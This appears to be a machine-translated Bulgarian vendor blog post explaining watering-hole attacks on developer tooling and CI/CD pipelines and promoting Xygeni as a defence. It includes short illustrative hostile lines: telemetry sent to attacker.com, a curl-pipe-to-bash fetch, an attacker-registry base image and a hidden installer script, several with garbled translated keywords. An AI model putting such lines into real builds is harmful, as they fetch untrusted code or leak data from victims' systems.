Конструкцията, която изгради задната вратичка
Компилацията преминава. Услугата се разгръща. Всичко изглежда чисто. Но скрита вътре е отровна зависимост, извлечена от компрометиран източник. Това е класическа атака тип „waterhole“.
В този сценарий, нападателят не е проникнал във вашата инфраструктура. Той е изчакал разработчик да посети надежден ресурс, сайт с документи, хранилище за пакети или страница за изтегляне на SDK, които вече е компрометирал. Злонамереният код е проникнал във вашата... pipeline с проста команда за изтегляне или инсталиране.
След като бъде изпратено, нападателят има тиха опора в производството. И вашият CI/CD pipeline просто им помогна да стигнат до там.
Какво е атака тип „Watering Hole“ (и защо разработчиците трябва да се интересуват)
И така, какво е атака тип „watering hole“? Това е, когато нападател компрометира ресурс, на който разработчиците или екипите вече се доверяват. Вместо да ви атакува директно, той поврежда често срещан сайт или хранилище, което е вероятно да използвате, и чака някой да се хване на въдицата.
Атаките тип „watering hole“ се различават от фишинга, който обикновено е насочен към идентификационни данни, и от атаките срещу веригата за доставки, които инжектират лош код в основното хранилище на пакета. Тук заплахата идва от екосистемата около вас: документи, които добавят задни вратички, SDK двоични файлове, заменени с троянски коне, или регистри на пакети, обслужващи променени версии.
И ресурсите за разработка са основни цели: мениджъри на пакети (npm, pip, Maven), публични хранилища на GitHub, официално изглеждащи Docker изображения и страници за изтегляне. Ако някое от тях е компрометирано, нападателят вече е във вашия процес на разработка.
Къде се поставя капанът: Реални примери, фокусирани върху разработчиците Атаки в водопои
Атаките тип „watering hole“ могат да се проявяват по много начини. Ето няколко начина, по които те се изплъзват на разработчиците:
- Компрометиран сайт с документи:
импортиране { init } от 'malicious-lib';
init({ телеметрия: 'https://attacker.com' });
Легитимен пример, леко променен в документацията. Разработчиците копират, поставят и продължават напред.
- Злонамерен скрипт след инсталиране в публичен PR:
Изглежда като полезен PR, но инсталира зловреден софтуер тихомълком.
- Троянизиран SDK двоичен файл:
./sdk-install.sh # Съдържа скрит товарач от втори етап
Двоичният файл е изтеглен от надежден URL адрес, но е променен. - Манипулирано базово изображение на Docker:
ОТ възел: slim-malicious - RUN bash /tmp/hidden-installer.sh
Името на изображението изглежда правилно, но е хоствано в отвлечен или фалшифициран регистър.
Всички тези атаки тип „watering hole“ разчитат на доверието на разработчиците и бързо развиващите се работни процеси, за да избегнат откриването.
От лаптоп до PipelineКак се разпространява инфекцията
Атаката тип „watering hole“ не спира само в браузъра. След като злонамерен код навлезе в локална среда, може безшумно да премине през цялата ви верига за доставка:
- Разработчик посещава компрометиран ресурс (документация, хранилище, SDK сайт).
- Злонамерен код попада в локалната среда за разработка.
- Заразените файлове или зависимости се добавят към commit и бутна.
- CI/CD Задачите изпълняват стъпки за изграждане и инсталиране, използвайки тези компрометирани компоненти.
- Артефактът се доставя и внедрява, вграждайки кода на нападателя в продукцията.
Тази верига може да се развие за часове, особено в екипи с висока скорост.
За да визуализирате това, представете си pipeline диаграма, която проследява пътя на инфекцията от:
- Работна станция за разработчициРедактори, терминали, инсталиране на скриптове.
- Контрол на източника: Commitс, PR-ове, сливания.
- CI PipelineИнсталиране на зависимости, изпълнение на скриптове, изграждане на образи.
- производствоПускане на артефакти, внедряване и достъп на потребителите.
На всяка стъпка, атака срещу питейно заведение може да остане незабелязана без подходящите предпазни мерки.
Реални рискови сценарии в CI/CD
Атаките тип „watering hole“ не се ограничават само до машините на разработчиците. Те използват вашата pipeline срещу вас. Реалните рискове включват:
- Компрометирани базови изображения:
ОТ attacker-registry.io/python:3.10-slim
Скрит зловреден софтуер е добавен по време на компилацията. - Извличане на откачени скриптове или инструменти:
curl -s https://pkg.example.com/latest.sh | bash
„Най-ново“ може да се промени по всяко време, особено ако DNS е отвлечен. - Заразени CI лог файлове (пример):
[+] Инсталиране на инструменти…
[+] Извличане от https://tools.fakecdn.net/bootstrap.sh
[+] Строителството е завършено.
Всичко изглежда наред на пръв поглед. Но полезният товар вече е в артефакта.
Атаките на водопойни дупки злоупотребяват с това колко доверие CI/CD среди, поставяни във външни източници и скриптове.
Разрушаване на Атака на водопой Верига: Защити от страна на разработчика
За да спрете атаките тип „watering hole“ рано, трябва да затегнете практиките си за разработка. Предотвратяването на атаките трябва да започне преди кодът да влезе във вашия CI/CD pipeline:
- Зависимости на пиновеИзбягвайте плаващи тагове като най-новитеИзползвайте заключващи файлове, за да осигурите детерминистични компилации.
- Проверка на контролните сумиВалидиране на всички отдалечени скриптове, двоични файлове и пакети.
- Използвайте частни огледалаОгледално създаване на регистри на критични пакети, за да се предотврати излагане на компрометирани източници нагоре по веригата.
- Проверете основните изображенияИзползвайте дайджести на изображения (@sha256) вместо тагове. Сканирайте всички изображения преди употреба.
- бягане SCA/SAST преди сливанеАвтоматизирайте сканиранията във вашия PR работен процес, за да откривате заплахи рано.
- Използвайте Git hooksОткриване и блокиране на високорискови промени, преди да попаднат в контрола на версиите.
- Отнасяйте код на трета страна като ненадежден входДори широко използваните библиотеки могат да носят скрити рискове.
Сигурността трябва да бъде вградена в работните процеси на разработчиците. Тези навици и контроли помагат за блокирането на атаки, свързани с „waterhole“, преди да ескалират.
Уроци от полето
Случай 1: Поток от събития (npm)
Доверен разработчик е прехвърлил контрола върху популярен пакет. Новият разработчик е добавил зависимост, която тихомълком е крала данни от крипто портфейли.
- Където се провалиНяма преглед на транзитивните зависимости.
- УрокИзползвайте автоматизирано SCA за проследяване и маркиране на промени в косвените зависимости.
Случай 2: Качване на Codecov Bash
Хакер е променил bash скрипт, използван в много CI. pipelineс. То е извличало тайни от среди на CI.
- Където се провалиНяма проверка на контролната сума.
- УрокВинаги проверявайте изтеглените инструменти, преди да ги стартирате CI/CD.
И двете бяха атаки, които водеха до слаби места. И двете можеха да бъдат спрени по-рано.
Превенция на практика: DevSecOps начин на мислене и инструменти
Предотвратяването на атаки от типа „watering hole“ означава изграждане на култура на разработчици, осъзнаваща сигурността:
- Преместване на защитата налявоОбучете разработчиците да задават въпроси относно неочаквани скриптове, промени в зависимостите или стъпки за инсталиране.
- автоматизирам SCA/SAST: Използвайте инструментите които се интегрират в PR работните процеси, за да предотвратят известни уязвимости и рискови модели.
- Използвайте хеш валидация навсякъдеВсеки външен ресурс трябва да бъде проверен преди изпълнение.
- Монитор в реално времеСамо превенцията не е достатъчна.
Инструменти като Ксигени предлага видимост в реално време по цялата верига за доставки на софтуер. Xygeni непрекъснато наблюдава разработчиците, Git активността, CI pipelineи регистри на артефакти за откриване на:
- Аномални промени в зависимостта.
- Подозрителни модификации в скриптовете за изграждане.
- Необичайни модели на достъп до източници на трети страни.
С Xygeni екипите могат да блокират заплахи, въведени чрез атаки тип „watering hole“, преди да се разпространят, и да проследят източника на компрометация, ако някоя от тях се промъкне. Създадена е специално за съвременни... CI/CD среди, с фокус върху известия, позволяващи действие, и използваемост, насочена първа към разработчиците.
Последна бележка: Бързо Pipelines, По-бързи рискове
Сега, когато знаете Какво е атака на водопой Знаете, че не е нужно да нарушават директно инфраструктурата ви. Те успяват, като отравят инструментите и сайтовете, на които разработчиците вече се доверяват. Оттам нататък, вашият CI/CD pipeline може да се превърне в дистрибуторска система на нападателя.
Истинският риск не е само компрометирането, а колко бързо злонамерен код се движи през вашия... pipeline.
Интегрирайте проверките за сигурност в процеса на разработка, а не като допълнителна мисъл. Защото след като веднъж е готово, вече е твърде късно.




